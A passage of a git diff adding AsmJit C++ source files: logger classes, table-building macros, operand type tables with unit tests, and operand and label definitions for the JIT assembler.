noexcept { return _stream; } + + //! Set the logging output stream to `stream` or null. + //! + //! NOTE: If the `stream` is null it will disable logging, but it won't + //! stop calling `log()` unless the logger is detached from the + //! \ref Assembler. + ASMJIT_INLINE void setStream(FILE* stream) noexcept { _stream = stream; } + + // -------------------------------------------------------------------------- + // [Logging] + // -------------------------------------------------------------------------- + + ASMJIT_API Error _log(const char* buf, size_t len = Globals::kInvalidIndex) noexcept override; + + // -------------------------------------------------------------------------- + // [Members] + // -------------------------------------------------------------------------- + + //! C file stream. + FILE* _stream; +}; + +// ============================================================================ +// [asmjit::StringLogger] +// ============================================================================ + +//! Logger that stores everything in an internal string buffer. +class ASMJIT_VIRTAPI StringLogger : public Logger { +public: + ASMJIT_NONCOPYABLE(StringLogger) + + // -------------------------------------------------------------------------- + // [Construction / Destruction] + // -------------------------------------------------------------------------- + + //! Create new `StringLogger`. + ASMJIT_API StringLogger() noexcept; + //! Destroy the `StringLogger`. + ASMJIT_API virtual ~StringLogger() noexcept; + + // -------------------------------------------------------------------------- + // [Accessors] + // -------------------------------------------------------------------------- + + //! Get `char*` pointer which represents the resulting string. + //! + //! The pointer is owned by `StringLogger`, it can't be modified or freed. + ASMJIT_INLINE const char* getString() const noexcept { return _stringBuilder.getData(); } + //! Clear the resulting string. + ASMJIT_INLINE void clearString() noexcept { _stringBuilder.clear(); } + + //! Get the length of the string returned by `getString()`. + ASMJIT_INLINE size_t getLength() const noexcept { return _stringBuilder.getLength(); } + + // -------------------------------------------------------------------------- + // [Logging] + // -------------------------------------------------------------------------- + + ASMJIT_API Error _log(const char* buf, size_t len = Globals::kInvalidIndex) noexcept override; + + // -------------------------------------------------------------------------- + // [Members] + // -------------------------------------------------------------------------- + + //! Output string. + StringBuilder _stringBuilder; +}; + +// ============================================================================ +// [asmjit::Logging] +// ============================================================================ + +struct Logging { + ASMJIT_API static Error formatRegister( + StringBuilder& sb, + uint32_t logOptions, + const CodeEmitter* emitter, + uint32_t archType, + uint32_t regType, + uint32_t regId) noexcept; + + ASMJIT_API static Error formatLabel( + StringBuilder& sb, + uint32_t logOptions, + const CodeEmitter* emitter, + uint32_t labelId) noexcept; + + ASMJIT_API static Error formatOperand( + StringBuilder& sb, + uint32_t logOptions, + const CodeEmitter* emitter, + uint32_t archType, + const Operand_& op) noexcept; + + ASMJIT_API static Error formatInstruction( + StringBuilder& sb, + uint32_t logOptions, + const CodeEmitter* emitter, + uint32_t archType, + const Inst::Detail& detail, const Operand_* opArray, uint32_t opCount) noexcept; + +#if !defined(ASMJIT_DISABLE_BUILDER) + ASMJIT_API static Error formatNode( + StringBuilder& sb, + uint32_t logOptions, + const CodeBuilder* cb, + const CBNode* node_) noexcept; +#endif // !ASMJIT_DISABLE_BUILDER + +// Only used by AsmJit internals, not available to users. +#if defined(ASMJIT_EXPORTS) + enum { + // Has to be big to be able to hold all metadata compiler can assign to a + // single instruction. + kMaxCommentLength = 512, + kMaxInstLength = 40, + kMaxBinaryLength = 26 + }; + + static Error formatLine( + StringBuilder& sb, + const uint8_t* binData, size_t binLen, size_t dispLen, size_t imLen, const char* comment) noexcept; +#endif // ASMJIT_EXPORTS +}; +#else +class Logger; +#endif // !ASMJIT_DISABLE_LOGGING + +//! \} + +} // asmjit namespace + +// [Api-End] +#include "../asmjit_apiend.h" + +// [Guard] +#endif // _ASMJIT_BASE_LOGGER_H diff --git a/asmjit/src/asmjit/base/misc_p.h b/asmjit/src/asmjit/base/misc_p.h new file mode 100644 index 0000000..5024f1c --- /dev/null +++ b/asmjit/src/asmjit/base/misc_p.h @@ -0,0 +1,74 @@ +// [AsmJit] +// Complete x86/x64 JIT and Remote Assembler for C++. +// +// [License] +// Zlib - See LICENSE.md file in the package. + +// [Guard] +#ifndef _ASMJIT_BASE_MISC_P_H +#define _ASMJIT_BASE_MISC_P_H + +// [Dependencies] +#include "../asmjit_build.h" + +// [Api-Begin] +#include "../asmjit_apibegin.h" + +namespace asmjit { + +//! \addtogroup asmjit_base +//! \{ + +//! \internal +//! +//! Macro used to populate a table with 16 elements starting at `I`. +#define ASMJIT_TABLE_16(DEF, I) DEF(I + 0), DEF(I + 1), DEF(I + 2), DEF(I + 3), \ + DEF(I + 4), DEF(I + 5), DEF(I + 6), DEF(I + 7), \ + DEF(I + 8), DEF(I + 9), DEF(I + 10), DEF(I + 11), \ + DEF(I + 12), DEF(I + 13), DEF(I + 14), DEF(I + 15) + +#define ASMJIT_TABLE_T_8(TABLE, VALUE, I) \ + TABLE< I + 0 >::VALUE, TABLE< I + 1 >::VALUE, \ + TABLE< I + 2 >::VALUE, TABLE< I + 3 >::VALUE, \ + TABLE< I + 4 >::VALUE, TABLE< I + 5 >::VALUE, \ + TABLE< I + 6 >::VALUE, TABLE< I + 7 >::VALUE + +#define ASMJIT_TABLE_T_16(TABLE, VALUE, I) \ + ASMJIT_TABLE_T_8(TABLE, VALUE, I), \ + ASMJIT_TABLE_T_8(TABLE, VALUE, I + 8) + +#define ASMJIT_TABLE_T_32(TABLE, VALUE, I) \ + ASMJIT_TABLE_T_16(TABLE, VALUE, I), \ + ASMJIT_TABLE_T_16(TABLE, VALUE, I + 16) + +#define ASMJIT_TABLE_T_64(TABLE, VALUE, I) \ + ASMJIT_TABLE_T_32(TABLE, VALUE, I), \ + ASMJIT_TABLE_T_32(TABLE, VALUE, I + 32) + +#define ASMJIT_TABLE_T_128(TABLE, VALUE, I) \ + ASMJIT_TABLE_T_64(TABLE, VALUE, I), \ + ASMJIT_TABLE_T_64(TABLE, VALUE, I + 64) + +#define ASMJIT_TABLE_T_256(TABLE, VALUE, I) \ + ASMJIT_TABLE_T_128(TABLE, VALUE, I), \ + ASMJIT_TABLE_T_128(TABLE, VALUE, I + 128) + +#define ASMJIT_TABLE_T_512(TABLE, VALUE, I) \ + ASMJIT_TABLE_T_256(TABLE, VALUE, I), \ + ASMJIT_TABLE_T_256(TABLE, VALUE, I + 256) + +#define ASMJIT_TABLE_T_1024(TABLE, VALUE, I) \ + ASMJIT_TABLE_T_512(TABLE, VALUE, I), \ + ASMJIT_TABLE_T_512(TABLE, VALUE, I + 512) + +//! \} + +} // asmjit namespace + +//! \} + +// [Api-End] +#include "../asmjit_apiend.h" + +// [Guard] +#endif // _ASMJIT_BASE_MISC_P_H diff --git a/asmjit/src/asmjit/base/operand.cpp b/asmjit/src/asmjit/base/operand.cpp new file mode 100644 index 0000000..09eeea8 --- /dev/null +++ b/asmjit/src/asmjit/base/operand.cpp @@ -0,0 +1,209 @@ +// [AsmJit] +// Complete x86/x64 JIT and Remote Assembler for C++. +// +// [License] +// Zlib - See LICENSE.md file in the package. + +// [Export] +#define ASMJIT_EXPORTS + +// [Dependencies] +#include "../base/operand.h" + +// [Api-Begin] +#include "../asmjit_apibegin.h" + +namespace asmjit { + +// ============================================================================ +// [asmjit::TypeId] +// ============================================================================ + +template +struct TypeIdSizeOf_T { + enum { + kValue = (ID == TypeId::kI8 ) ? 1 : + (ID == TypeId::kU8 ) ? 1 : + (ID == TypeId::kI16 ) ? 2 : + (ID == TypeId::kU16 ) ? 2 : + (ID == TypeId::kI32 ) ? 4 : + (ID == TypeId::kU32 ) ? 4 : + (ID == TypeId::kI64 ) ? 8 : + (ID == TypeId::kU64 ) ? 8 : + (ID == TypeId::kF32 ) ? 4 : + (ID == TypeId::kF64 ) ? 8 : + (ID == TypeId::kF80 ) ? 10 : + (ID == TypeId::kMask8 ) ? 1 : + (ID == TypeId::kMask16) ? 2 : + (ID == TypeId::kMask32) ? 4 : + (ID == TypeId::kMask64) ? 8 : + (ID == TypeId::kMmx32 ) ? 4 : + (ID == TypeId::kMmx64 ) ? 8 : + (ID >= TypeId::_kVec32Start && ID <= TypeId::_kVec32End ) ? 4 : + (ID >= TypeId::_kVec64Start && ID <= TypeId::_kVec64End ) ? 8 : + (ID >= TypeId::_kVec128Start && ID <= TypeId::_kVec128End) ? 16 : + (ID >= TypeId::_kVec256Start && ID <= TypeId::_kVec256End) ? 32 : + (ID >= TypeId::_kVec512Start && ID <= TypeId::_kVec512End) ? 64 : 0 + }; +}; + +template +struct TypeIdElementOf_T { + enum { + kValue = (ID == TypeId::kMask8 ) ? TypeId::kU8 : + (ID == TypeId::kMask16) ? TypeId::kU16 : + (ID == TypeId::kMask32) ? TypeId::kU32 : + (ID == TypeId::kMask64) ? TypeId::kU64 : + (ID == TypeId::kMmx32 ) ? TypeId::kI32 : + (ID == TypeId::kMmx64 ) ? TypeId::kI64 : + (ID >= TypeId::kI8 && ID <= TypeId::kF80 ) ? ID : + (ID >= TypeId::_kVec32Start && ID <= TypeId::_kVec32End ) ? ID - TypeId::_kVec32Start + TypeId::kI8 : + (ID >= TypeId::_kVec64Start && ID <= TypeId::_kVec64End ) ? ID - TypeId::_kVec64Start + TypeId::kI8 : + (ID >= TypeId::_kVec128Start && ID <= TypeId::_kVec128End) ? ID - TypeId::_kVec128Start + TypeId::kI8 : + (ID >= TypeId::_kVec256Start && ID <= TypeId::_kVec256End) ? ID - TypeId::_kVec256Start + TypeId::kI8 : + (ID >= TypeId::_kVec512Start && ID <= TypeId::_kVec512End) ? ID - TypeId::_kVec512Start + TypeId::kI8 : 0 + }; +}; + +#define R(TMPL, I) TMPL::kValue, TMPL::kValue, \ + TMPL::kValue, TMPL::kValue, \ + TMPL::kValue, TMPL::kValue, \ + TMPL::kValue, TMPL::kValue, \ + TMPL::kValue, TMPL::kValue, \ + TMPL::kValue, TMPL::kValue, \ + TMPL::kValue, TMPL::kValue, \ + TMPL::kValue, TMPL::kValue +ASMJIT_API const TypeId::Info TypeId::_info = { + // SizeOf[128] + { + R(TypeIdSizeOf_T, 0), R(TypeIdSizeOf_T, 16), + R(TypeIdSizeOf_T, 32), R(TypeIdSizeOf_T, 48), + R(TypeIdSizeOf_T, 64), R(TypeIdSizeOf_T, 80), + R(TypeIdSizeOf_T, 96), R(TypeIdSizeOf_T, 112) + }, + + // ElementOf[128] + { + R(TypeIdElementOf_T, 0), R(TypeIdElementOf_T, 16), + R(TypeIdElementOf_T, 32), R(TypeIdElementOf_T, 48), + R(TypeIdElementOf_T, 64), R(TypeIdElementOf_T, 80), + R(TypeIdElementOf_T, 96), R(TypeIdElementOf_T, 112) + } +}; +#undef R + +// ============================================================================ +// [asmjit::Operand - Test] +// ============================================================================ + +#if defined(ASMJIT_TEST) +UNIT(base_operand) { + INFO("Checking operand sizes"); + EXPECT(sizeof(Operand) == 16); + EXPECT(sizeof(Reg) == 16); + EXPECT(sizeof(Mem) == 16); + EXPECT(sizeof(Imm) == 16); + EXPECT(sizeof(Label) == 16); + + INFO("Checking basic functionality of Operand"); + Operand a, b; + Operand dummy; + + EXPECT(a.isNone() == true); + EXPECT(a.isReg() == false); + EXPECT(a.isMem() == false); + EXPECT(a.isImm() == false); + EXPECT(a.isLabel() == false); + EXPECT(a == b); + + EXPECT(a._any.reserved8_4 == 0, "Default constructed Operand should zero its 'reserved8_4' field"); + EXPECT(a._any.reserved12_4 == 0, "Default constructed Operand should zero its 'reserved12_4' field"); + + INFO("Checking basic functionality of Label"); + Label label; + EXPECT(label.isValid() == false); + EXPECT(label.getId() == 0); + + INFO("Checking basic functionality of Reg"); + EXPECT(Reg().isValid() == false, + "Default constructed Reg() should not be valid"); + EXPECT(Reg()._any.reserved8_4 == 0, + "A default constructed Reg() should zero its 'reserved8_4' field"); + EXPECT(Reg()._any.reserved12_4 == 0, + "A default constructed Reg() should zero its 'reserved12_4' field"); + + EXPECT(Reg().isReg() == false, + "Default constructed register should not isReg()"); + EXPECT(dummy.as().isValid() == false, + "Default constructed Operand casted to Reg should not be valid"); + + // Create some register (not specific to any architecture). + uint32_t rSig = Operand::kOpReg | (1 << Operand::kSignatureRegTypeShift) | + (2 << Operand::kSignatureRegKindShift) | + (8 << Operand::kSignatureSizeShift ) ; + Reg r1(Reg::fromSignature(rSig, 5)); + + EXPECT(r1.isValid() == true); + EXPECT(r1.isReg() == true); + EXPECT(r1.isReg(1) == true); + EXPECT(r1.isPhysReg() == true); + EXPECT(r1.isVirtReg() == false); + EXPECT(r1.getSignature() == rSig); + EXPECT(r1.getType() == 1); + EXPECT(r1.getKind() == 2); + EXPECT(r1.getSize() == 8); + EXPECT(r1.getId() == 5); + EXPECT(r1.isReg(1, 5) == true); // RegType and Id. + + EXPECT(r1._any.reserved8_4 == 0, "Reg should have 'reserved8_4' zero"); + EXPECT(r1._any.reserved12_4 == 0, "Reg should have 'reserved12_4' zero"); + + // The same type of register having different id. + Reg r2(r1, 6); + EXPECT(r2.isValid() == true); + EXPECT(r2.isReg() == true); + EXPECT(r2.isReg(1) == true); + EXPECT(r2.isPhysReg() == true); + EXPECT(r2.isVirtReg() == false); + EXPECT(r2.getSignature() == rSig); + EXPECT(r2.getType() == r1.getType()); + EXPECT(r2.getKind() == r1.getKind()); + EXPECT(r2.getSize() == r1.getSize()); + EXPECT(r2.getId() == 6); + EXPECT(r2.isReg(1, 6) == true); + + r1.reset(); + EXPECT(!r1.isValid(), + "Reset register should not be valid"); + EXPECT(!r1.isReg(), + "Reset register should not isReg()"); + + INFO("Checking basic functionality of Mem"); + Mem m; + EXPECT(m.isMem() , "Default constructed Mem() should isMem()"); + EXPECT(m == Mem() , "Two default constructed Mem() operands should be equal"); + EXPECT(m.hasBase() == false , "Default constructed Mem() should not have base specified"); + EXPECT(m.hasIndex() == false , "Default constructed Mem() should not have index specified"); + EXPECT(m.has64BitOffset() == true , "Default constructed Mem() should report 64-bit offset"); + EXPECT(m.getOffset() == 0 , "Default constructed Mem() should have be zero offset / address"); + + m.setOffset(-1); + EXPECT(m.getOffsetLo32() == -1 , "Memory operand must hold a 32-bit offset"); + EXPECT(m.getOffset() == -1 , "32-bit offset must be sign extended to 64 bits"); + + int64_t x = int64_t(ASMJIT_UINT64_C(0xFF00FF0000000001)); + m.setOffset(x); + EXPECT(m.getOffset() == x , "Memory operand must hold a 64-bit offset"); + EXPECT(m.getOffsetLo32() == 1 , "Memory operand must return correct low offset DWORD"); + EXPECT(m.getOffsetHi32() == 0xFF00FF00, "Memory operand must return correct high offset DWORD"); + + INFO("Checking basic functionality of Imm"); + EXPECT(Imm(-1).getInt64() == int64_t(-1), + "Immediate values should by default sign-extend to 64-bits"); +} +#endif // ASMJIT_TEST + +} // asmjit namespace + +// [Api-End] +#include "../asmjit_apiend.h" diff --git a/asmjit/src/asmjit/base/operand.h b/asmjit/src/asmjit/base/operand.h new file mode 100644 index 0000000..2353f98 --- /dev/null +++ b/asmjit/src/asmjit/base/operand.h @@ -0,0 +1,1569 @@ +// [AsmJit] +// Complete x86/x64 JIT and Remote Assembler for C++. +// +// [License] +// Zlib - See LICENSE.md file in the package. + +// [Guard] +#ifndef _ASMJIT_BASE_OPERAND_H +#define _ASMJIT_BASE_OPERAND_H + +// [Dependencies] +#include "../base/utils.h" + +// [Api-Begin] +#include "../asmjit_apibegin.h" + +namespace asmjit { + +//! \addtogroup asmjit_base +//! \{ + +// ============================================================================ +// [asmjit::Operand_] +// ============================================================================ + +//! Constructor-less \ref Operand. +//! +//! Contains no initialization code and can be used safely to define an array +//! of operands that won't be initialized. This is a \ref Operand compatible +//! data structure designed to be statically initialized or `static const`. +struct Operand_ { + // -------------------------------------------------------------------------- + // [Operand Type] + // -------------------------------------------------------------------------- + + //! Operand types that can be encoded in \ref Operand. + ASMJIT_ENUM(OpType) { + kOpNone = 0, //!< Not an operand or not initialized. + kOpReg = 1, //!< Operand is a register. + kOpMem = 2, //!< Operand is a memory. + kOpImm = 3, //!< Operand is an immediate value. + kOpLabel = 4 //!< Operand is a label. + }; + + // -------------------------------------------------------------------------- + // [Operand Signature (Bits)] + // -------------------------------------------------------------------------- + + ASMJIT_ENUM(SignatureBits) { + // Operand type (3 least significant bits). + // |........|........|........|.....XXX| + kSignatureOpShift = 0, + kSignatureOpBits = 0x07U, + kSignatureOpMask = kSignatureOpBits << kSignatureOpShift, + + // Operand size (8 most significant bits). + // |XXXXXXXX|........|........|........| + kSignatureSizeShift = 24, + kSignatureSizeBits = 0xFFU, + kSignatureSizeMask = kSignatureSizeBits << kSignatureSizeShift, + + // Register type (5 bits). + // |........|........|........|XXXXX...| + kSignatureRegTypeShift = 3, + kSignatureRegTypeBits = 0x1FU, + kSignatureRegTypeMask = kSignatureRegTypeBits << kSignatureRegTypeShift, + + // Register kind (4 bits). + // |........|........|....XXXX|........| + kSignatureRegKindShift = 8, + kSignatureRegKindBits = 0x0FU, + kSignatureRegKindMask = kSignatureRegKindBits << kSignatureRegKindShift, + + // Memory base type (5 bits). + // |........|........|........|XXXXX...| + kSignatureMemBaseTypeShift = 3, + kSignatureMemBaseTypeBits = 0x1FU, + kSignatureMemBaseTypeMask = kSignatureMemBaseTypeBits << kSignatureMemBaseTypeShift, + + // Memory index type (5 bits). + // |........|........|...XXXXX|........| + kSignatureMemIndexTypeShift = 8, + kSignatureMemIndexTypeBits = 0x1FU, + kSignatureMemIndexTypeMask = kSignatureMemIndexTypeBits << kSignatureMemIndexTypeShift, + + // Memory base+index combined (10 bits). + // |........|........|...XXXXX|XXXXX...| + kSignatureMemBaseIndexShift = 3, + kSignatureMemBaseIndexBits = 0x3FFU, + kSignatureMemBaseIndexMask = kSignatureMemBaseIndexBits << kSignatureMemBaseIndexShift, + + // Memory should be encoded as absolute immediate (X86|X64). + // |........|........|.XX.....|........| + kSignatureMemAddrTypeShift = 13, + kSignatureMemAddrTypeBits = 0x03U, + kSignatureMemAddrTypeMask = kSignatureMemAddrTypeBits << kSignatureMemAddrTypeShift, + + // This memory operand represents a function argument's stack location (CodeCompiler) + // |........|........|.X......|........| + kSignatureMemArgHomeShift = 15, + kSignatureMemArgHomeBits = 0x01U, + kSignatureMemArgHomeFlag = kSignatureMemArgHomeBits << kSignatureMemArgHomeShift, + + // This memory operand represents a virtual register's home-slot (CodeCompiler). + // |........|........|X.......|........| + kSignatureMemRegHomeShift = 16, + kSignatureMemRegHomeBits = 0x01U, + kSignatureMemRegHomeFlag = kSignatureMemRegHomeBits << kSignatureMemRegHomeShift + }; + + // -------------------------------------------------------------------------- + // [Operand Id] + // -------------------------------------------------------------------------- + + //! Operand id helpers useful for id <-> index translation. + ASMJIT_ENUM(PackedId) { + //! Minimum valid packed-id. + kPackedIdMin = 0x00000100U, + //! Maximum valid packed-id. + kPackedIdMax = 0xFFFFFFFFU, + //! Count of valid packed-ids. + kPackedIdCount = kPackedIdMax - kPackedIdMin + 1 + }; + + // -------------------------------------------------------------------------- + // [Operand Utilities] + // -------------------------------------------------------------------------- + + //! Get if the given `id` is a valid packed-id that can be used by Operand. + //! Packed ids are those equal or greater than `kPackedIdMin` and lesser or + //! equal to `kPackedIdMax`. This concept was created to support virtual + //! registers and to make them distinguishable from physical ones. It allows + //! a single uint32_t to contain either physical register id or virtual + //! register id represented as `packed-id`. This concept is used also for + //! labels to make the API consistent. + static ASMJIT_INLINE bool isPackedId(uint32_t id) noexcept { return id - kPackedIdMin < kPackedIdCount; } + //! Convert a real-id into a packed-id that can be stored in Operand. + static ASMJIT_INLINE uint32_t packId(uint32_t id) noexcept { return id + kPackedIdMin; } + //! Convert a packed-id back to real-id. + static ASMJIT_INLINE uint32_t unpackId(uint32_t id) noexcept { return id - kPackedIdMin; } + + // -------------------------------------------------------------------------- + // [Operand Data] + // -------------------------------------------------------------------------- + + //! Any operand. + struct AnyData { + uint32_t signature; //!< Type of the operand (see \ref OpType) and other data. + uint32_t id; //!< Operand id or `0`. + uint32_t reserved8_4; //!< \internal + uint32_t reserved12_4; //!< \internal + }; + + //! Register operand data. + struct RegData { + uint32_t signature; //!< Type of the operand (always \ref kOpReg) and other data. + uint32_t id; //!< Physical or virtual register id. + uint32_t reserved8_4; //!< \internal + uint32_t reserved12_4; //!< \internal + }; + + //! Memory operand data. + struct MemData { + uint32_t signature; //!< Type of the operand (always \ref kOpMem) and other data. + uint32_t index; //!< INDEX register id or `0`. + + // [BASE + OFF32] vs just [OFF64]. + union { + uint64_t offset64; //!< 64-bit offset, combining low and high 32-bit parts. + struct { +#if ASMJIT_ARCH_LE + uint32_t offsetLo32; //!< 32-bit low offset part. + uint32_t base; //!< 32-bit high offset part or BASE. +#else + uint32_t base; //!< 32-bit high offset part or BASE. + uint32_t offsetLo32; //!< 32-bit low offset part. +#endif + }; + }; + }; + + //! Immediate operand data. + struct ImmData { + uint32_t signature; //!< Type of the operand (always \ref kOpImm) and other data. + uint32_t id; //!< Immediate id (always `0`). + UInt64 value; //!< Immediate value. + }; + + //! Label operand data. + struct LabelData { + uint32_t signature; //!< Type of the operand (always \ref kOpLabel) and other data. + uint32_t id; //!< Label id (`0` if not initialized). + uint32_t reserved8_4; //!< \internal + uint32_t reserved12_4; //!< \internal + }; + + // -------------------------------------------------------------------------- + // [Init & Copy] + // -------------------------------------------------------------------------- + + //! \internal + //! + //! Initialize the operand to `other` (used by constructors). + ASMJIT_INLINE void _init(const Operand_& other) noexcept { ::memcpy(this, &other, sizeof(Operand_)); } + + //! \internal + ASMJIT_INLINE void _initReg(uint32_t signature, uint32_t rd) { + _init_packed_d0_d1(signature, rd); + _init_packed_d2_d3(0, 0); + } + + //! \internal + ASMJIT_INLINE void _init_packed_d0_d1(uint32_t d0, uint32_t d1) noexcept { _packed[0].setPacked_2x32(d0, d1); } + //! \internal + ASMJIT_INLINE void _init_packed_d2_d3(uint32_t d2, uint32_t d3) noexcept { _packed[1].setPacked_2x32(d2, d3); } + + //! \internal + //! + //! Initialize the operand from `other` (used by operator overloads). + ASMJIT_INLINE void copyFrom(const Operand_& other) noexcept { ::memcpy(this, &other, sizeof(Operand_)); } + + // -------------------------------------------------------------------------- + // [Accessors] + // -------------------------------------------------------------------------- + + //! Get if the operand matches the given signature `sign`. + ASMJIT_INLINE bool hasSignature(uint32_t signature) const noexcept { return _signature == signature; } + + //! Get if the operand matches a signature of the `other` operand. + ASMJIT_INLINE bool hasSignature(const Operand_& other) const noexcept { + return _signature == other.getSignature(); + } + + //! Get a 32-bit operand signature. + //! + //! Signature is first 4 bytes of the operand data. It's used mostly for + //! operand checking as it's much faster to check 4 bytes at once than having + //! to check these bytes individually. + ASMJIT_INLINE uint32_t getSignature() const noexcept { return _signature; } + + //! Set the operand signature (see \ref getSignature). + //! + //! Improper use of `setSignature()` can lead to hard-to-debug errors. + ASMJIT_INLINE void setSignature(uint32_t signature) noexcept { _signature = signature; } + + ASMJIT_INLINE bool _hasSignatureData(uint32_t bits) const noexcept { return (_signature & bits) != 0; } + + //! \internal + //! + //! Unpacks information from operand's signature. + ASMJIT_INLINE uint32_t _getSignatureData(uint32_t bits, uint32_t shift) const noexcept { return (_signature >> shift) & bits; } + + //! \internal + //! + //! Packs information to operand's signature. + ASMJIT_INLINE void _setSignatureData(uint32_t value, uint32_t bits, uint32_t shift) noexcept { + ASMJIT_ASSERT(value <= bits); + _signature = (_signature & ~(bits << shift)) | (value << shift); + } + + ASMJIT_INLINE void _addSignatureData(uint32_t data) noexcept { _signature |= data; } + + //! Clears specified bits in operand's signature. + ASMJIT_INLINE void _clearSignatureData(uint32_t bits, uint32_t shift) noexcept { _signature &= ~(bits << shift); } + + //! Get type of the operand, see \ref OpType. + ASMJIT_INLINE uint32_t getOp() const noexcept { return _getSignatureData(kSignatureOpBits, kSignatureOpShift); } + //! Get if the operand is none (\ref kOpNone). + ASMJIT_INLINE bool isNone() const noexcept { return getOp() == 0; } + //! Get if the operand is a register (\ref kOpReg). + ASMJIT_INLINE bool isReg() const noexcept { return getOp() == kOpReg; } + //! Get if the operand is a memory location (\ref kOpMem). + ASMJIT_INLINE bool isMem() const noexcept { return getOp() == kOpMem; } + //! Get if the operand is an immediate (\ref kOpImm). + ASMJIT_INLINE bool isImm() const noexcept { return getOp() == kOpImm; } + //! Get if the operand is a label (\ref kOpLabel). + ASMJIT_INLINE bool isLabel() const noexcept { return getOp() == kOpLabel; } + + //! Get if the operand is a physical register. + ASMJIT_INLINE bool isPhysReg() const noexcept { return isReg() && _reg.id < Globals::kInvalidRegId; } + //! Get if the operand is a virtual register. + ASMJIT_INLINE bool isVirtReg() const noexcept { return isReg() && isPackedId(_reg.id); } + + //! Get if the operand specifies a size (i.e. the size is not zero). + ASMJIT_INLINE bool hasSize() const noexcept { return _hasSignatureData(kSignatureSizeMask); } + //! Get if the size of the operand matches `size`. + ASMJIT_INLINE bool hasSize(uint32_t size) const noexcept { return getSize() == size; } + + //! Get size of the operand (in bytes). + //! + //! The value returned depends on the operand type: + //! * None - Should always return zero size. + //! * Reg - Should always return the size of the register. If the register + //! size depends on architecture (like \ref X86CReg and \ref X86DReg) + //! the size returned should be the greatest possible (so it should + //! return 64-bit size in such case). + //! * Mem - Size is optional and will be in most cases zero. + //! * Imm - Should always return zero size. + //! * Label - Should always return zero size. + ASMJIT_INLINE uint32_t getSize() const noexcept { return _getSignatureData(kSignatureSizeBits, kSignatureSizeShift); } + + //! Get the operand id. + //! + //! The value returned should be interpreted accordingly to the operand type: + //! * None - Should be `0`. + //! * Reg - Physical or virtual register id. + //! * Mem - Multiple meanings - BASE address (register or label id), or + //! high value of a 64-bit absolute address. + //! * Imm - Should be `0`. + //! * Label - Label id if it was created by using `newLabel()` or `0` + //! if the label is invalid or uninitialized. + ASMJIT_INLINE uint32_t getId() const noexcept { return _any.id; } + + //! Get if the operand is 100% equal to `other`. + ASMJIT_INLINE bool isEqual(const Operand_& other) const noexcept { + return (_packed[0] == other._packed[0]) & + (_packed[1] == other._packed[1]) ; + } + + //! Get if the operand is a register matching `rType`. + ASMJIT_INLINE bool isReg(uint32_t rType) const noexcept { + const uint32_t kMsk = (kSignatureOpBits << kSignatureOpShift) | (kSignatureRegTypeBits << kSignatureRegTypeShift); + const uint32_t kSgn = (kOpReg << kSignatureOpShift) | (rType << kSignatureRegTypeShift); + return (_signature & kMsk) == kSgn; + } + + //! Get whether the operand is register and of `type` and `id`. + ASMJIT_INLINE bool isReg(uint32_t rType, uint32_t rId) const noexcept { + return isReg(rType) && getId() == rId; + } + + //! Get whether the operand is a register or memory. + ASMJIT_INLINE bool isRegOrMem() const noexcept { + ASMJIT_ASSERT(kOpMem - kOpReg == 1); + return Utils::inInterval(getOp(), kOpReg, kOpMem); + } + + //! Cast this operand to `T` type. + template + ASMJIT_INLINE T& as() noexcept { return static_cast(*this); } + //! Cast this operand to `T` type (const). + template + ASMJIT_INLINE const T& as() const noexcept { return static_cast(*this); } + + // -------------------------------------------------------------------------- + // [Reset] + // -------------------------------------------------------------------------- + + //! Reset the `Operand` to none. + //! + //! None operand is defined the following way: + //! - Its signature is zero (kOpNone, and the rest zero as well). + //! - Its id is `0`. + //! - The reserved8_4 field is set to `0`. + //! - The reserved12_4 field is set to zero. + //! + //! In other words, reset operands have all members set to zero. Reset operand + //! must match the Operand state right after its construction. Alternatively, + //! if you have an array of operands, you can simply use `memset()`. + //! + //! ``` + //! using namespace asmjit; + //! + //! Operand a; + //! Operand b; + //! assert(a == b); + //! + //! b = x86::eax; + //! assert(a != b); + //! + //! b.reset(); + //! assert(a == b); + //! + //! memset(&b, 0, sizeof(Operand)); + //! assert(a == b); + //! ``` + ASMJIT_INLINE void reset() noexcept { + _init_packed_d0_d1(kOpNone, 0); + _init_packed_d2_d3(0, 0); + } + + // -------------------------------------------------------------------------- + // [Operator Overload] + // -------------------------------------------------------------------------- + + template + ASMJIT_INLINE bool operator==(const T& other) const noexcept { return isEqual(other); } + template + ASMJIT_INLINE bool operator!=(const T& other) const noexcept { return !isEqual(other); } + + // -------------------------------------------------------------------------- + // [Members] + // -------------------------------------------------------------------------- + + union { + AnyData _any; //!< Generic data. + RegData _reg; //!< Physical or virtual register data. + MemData _mem; //!< Memory address data. + ImmData _imm; //!< Immediate value data. + LabelData _label; //!< Label data. + + uint32_t _signature; //!< Operand signature (first 32-bits). + UInt64 _packed[2]; //!< Operand packed into two 64-bit integers. + }; +}; + +// ============================================================================ +// [asmjit::Operand] +// ============================================================================ + +//! Operand can contain register, memory location, immediate, or label. +class Operand : public Operand_ { +public: + // -------------------------------------------------------------------------- + // [Construction / Destruction] + // -------------------------------------------------------------------------- + + //! Create an uninitialized operand. + ASMJIT_INLINE Operand() noexcept { reset(); } + //! Create a reference to `other` operand. + ASMJIT_INLINE Operand(const Operand& other) noexcept { _init(other); } + //! Create a reference to `other` operand. + explicit ASMJIT_INLINE Operand(const Operand_& other) noexcept { _init(other); } + //! Create a completely uninitialized operand (dangerous). + explicit ASMJIT_INLINE Operand(const _NoInit&) noexcept {} + + // -------------------------------------------------------------------------- + // [Clone] + // -------------------------------------------------------------------------- + + //! Clone the `Operand`. + ASMJIT_INLINE Operand clone() const noexcept { return Operand(*this); } + + ASMJIT_INLINE Operand& operator=(const Operand_& other) noexcept { copyFrom(other); return *this; } +}; + +// ============================================================================ +// [asmjit::Label] +// ============================================================================ + +//! Label (jump target or data location). +//! +//! Label represents a location in code typically used as a jump target, but +//! may be also a reference to some data or a static variable. Label has to be +//! explicitly created by CodeEmitter. +//! +//! Example of using labels: +//! +//! ~~~ +//! // Create a CodeEmitter (for example X86Assembler). +//! X86Assembler a; +//! +//! // Create Label instance. +//! Label L1 = a.newLabel(); +//! +//! // ... your code ... +//! +//! // Using label. +//! a.jump(L1); +//! +//! // ... your code ... +//! +//! // Bind label to the current position, see `CodeEmitter::bind()`. +//! a.bind(L1); +//! ~~~ +class Label : public Operand { +public: + //! Type of the Label. + enum Type { + kTypeAnonymous = 0, //!< Anonymous (unnamed) label. + kTypeLocal = 1, //!< Local label (always has parentId). + kTypeGlobal = 2, //!< Global label (never has parentId). + kTypeCount = 3 //!< Number of label types. + }; + + // TODO: Find a better place, find a better name. + enum { + //! Label tag is used as a sub-type, forming a unique signature across all + //! operand types as 